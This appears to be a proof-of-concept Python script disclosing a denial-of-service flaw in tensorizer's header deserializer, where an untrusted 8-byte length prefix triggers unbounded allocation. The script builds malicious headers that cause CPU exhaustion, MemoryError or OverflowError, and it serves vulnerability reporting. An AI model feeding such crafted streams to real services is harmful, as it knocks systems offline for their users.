File size: 5,202 Bytes
0dcafe3 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | #!/usr/bin/env python3
"""
PoC: Unbounded allocation from untrusted header length in tensorizer
Component: tensorizer (verified against v2.12.1 source from PyPI)
Vulnerable code: _TensorHeaderDeserializer.from_io() in tensorizer/serialization.py
Real vulnerable code (tensorizer-2.12.1/tensorizer/serialization.py, lines ~604-649):
header_len_segment: ClassVar[struct.Struct] = struct.Struct("<Q")
...
@classmethod
def from_io(cls, reader, ...):
header_len_bytes = reader.read(cls.header_len_segment.size)
offset = cls.header_len_segment.size
header_len: int = cls.header_len_segment.unpack(header_len_bytes)[0]
if header_len == 0:
return None
buffer = bytearray(header_len) # <-- no validation against
buffer[:offset] = header_len_bytes # actual stream/file size
with memoryview(buffer) as mv:
reader.readinto(mv[offset:])
...
This function is called once per tensor entry, in a loop, with no
try/except around it at the call site (serialization.py line ~3080), and
no check anywhere comparing `header_len` against the actual remaining
bytes in the stream before allocating.
`header_len` is an 8-byte unsigned little-endian integer (struct "<Q"),
fully controlled by whatever produced the byte stream — a local file, an
HTTP response, an S3 object, or a Redis value, since TensorDeserializer
supports all of these as sources.
This PoC reproduces the exact allocation line verbatim (not a
reimplementation) to demonstrate three distinct, empirically different
outcomes depending on the attacker-chosen value — all reachable from a
single 8-byte malicious input:
1. ~1 GB claims: allocation SUCCEEDS but costs multiple seconds of
wall-clock/CPU time for zero-init — an asymmetric CPU-exhaustion DoS
from 8 bytes of attacker input.
2. ~100 GB claims: raises MemoryError.
3. >= 2**63 claims: raises OverflowError (a DIFFERENT exception type —
code that only catches MemoryError would miss this case).
Neither exception is caught anywhere in the real call path, so either one
propagates uncaught out of the deserialization loop.
Usage:
python3 tensorizer_poc.py <mode>
mode: cpu_cost | memory_error | overflow_error | all
"""
import io
import struct
import sys
import time
# Exact same struct format as the real class.
header_len_segment = struct.Struct("<Q")
def build_malicious_header(claimed_len: int) -> bytes:
"""
Builds the 8-byte malicious length prefix an attacker would place at
the start of a tensor entry. No other bytes are needed to reach the
vulnerable allocation — the crash/cost happens before any of the
claimed header content is even read.
"""
return header_len_segment.pack(claimed_len)
def vulnerable_from_io_allocation(reader: io.BufferedIOBase):
"""
Reproduces the exact vulnerable code from
_TensorHeaderDeserializer.from_io(), verbatim, lines 641-649 of the
real tensorizer-2.12.1/tensorizer/serialization.py.
"""
header_len_bytes = reader.read(header_len_segment.size)
offset = header_len_segment.size
header_len: int = header_len_segment.unpack(header_len_bytes)[0]
if header_len == 0:
return None
print(f" header claims {header_len:,} bytes "
f"({header_len / 1e9:.2f} GB) — about to allocate, no validation...")
t0 = time.perf_counter()
buffer = bytearray(header_len) # <-- the exact vulnerable line
buffer[:offset] = header_len_bytes
elapsed = time.perf_counter() - t0
print(f" allocation SUCCEEDED in {elapsed:.4f}s "
f"(from an 8-byte malicious input)")
return buffer
def demo_cpu_cost():
print("=== Mode: cpu_cost (claimed_len = 1 GB) ===")
malicious = build_malicious_header(10**9)
vulnerable_from_io_allocation(io.BytesIO(malicious))
print("A single 8-byte malicious value forced multi-second CPU work.\n"
"Repeated requests amplify this into a cheap CPU-exhaustion DoS.")
def demo_memory_error():
print("=== Mode: memory_error (claimed_len = 100 GB) ===")
malicious = build_malicious_header(10**11)
try:
vulnerable_from_io_allocation(io.BytesIO(malicious))
except MemoryError as e:
print(f" MemoryError raised (uncaught in the real library's call "
f"site — this propagates straight out of the read loop): {e!r}")
def demo_overflow_error():
print("=== Mode: overflow_error (claimed_len = 2**63) ===")
malicious = build_malicious_header(2**63)
try:
vulnerable_from_io_allocation(io.BytesIO(malicious))
except OverflowError as e:
print(f" OverflowError raised — a DIFFERENT exception type than "
f"MemoryError. Code that only catches MemoryError around "
f"tensor loading would NOT catch this: {e!r}")
if __name__ == "__main__":
mode = sys.argv[1] if len(sys.argv) > 1 else "all"
if mode in ("cpu_cost", "all"):
demo_cpu_cost()
print()
if mode in ("memory_error", "all"):
demo_memory_error()
print()
if mode in ("overflow_error", "all"):
demo_overflow_error()
|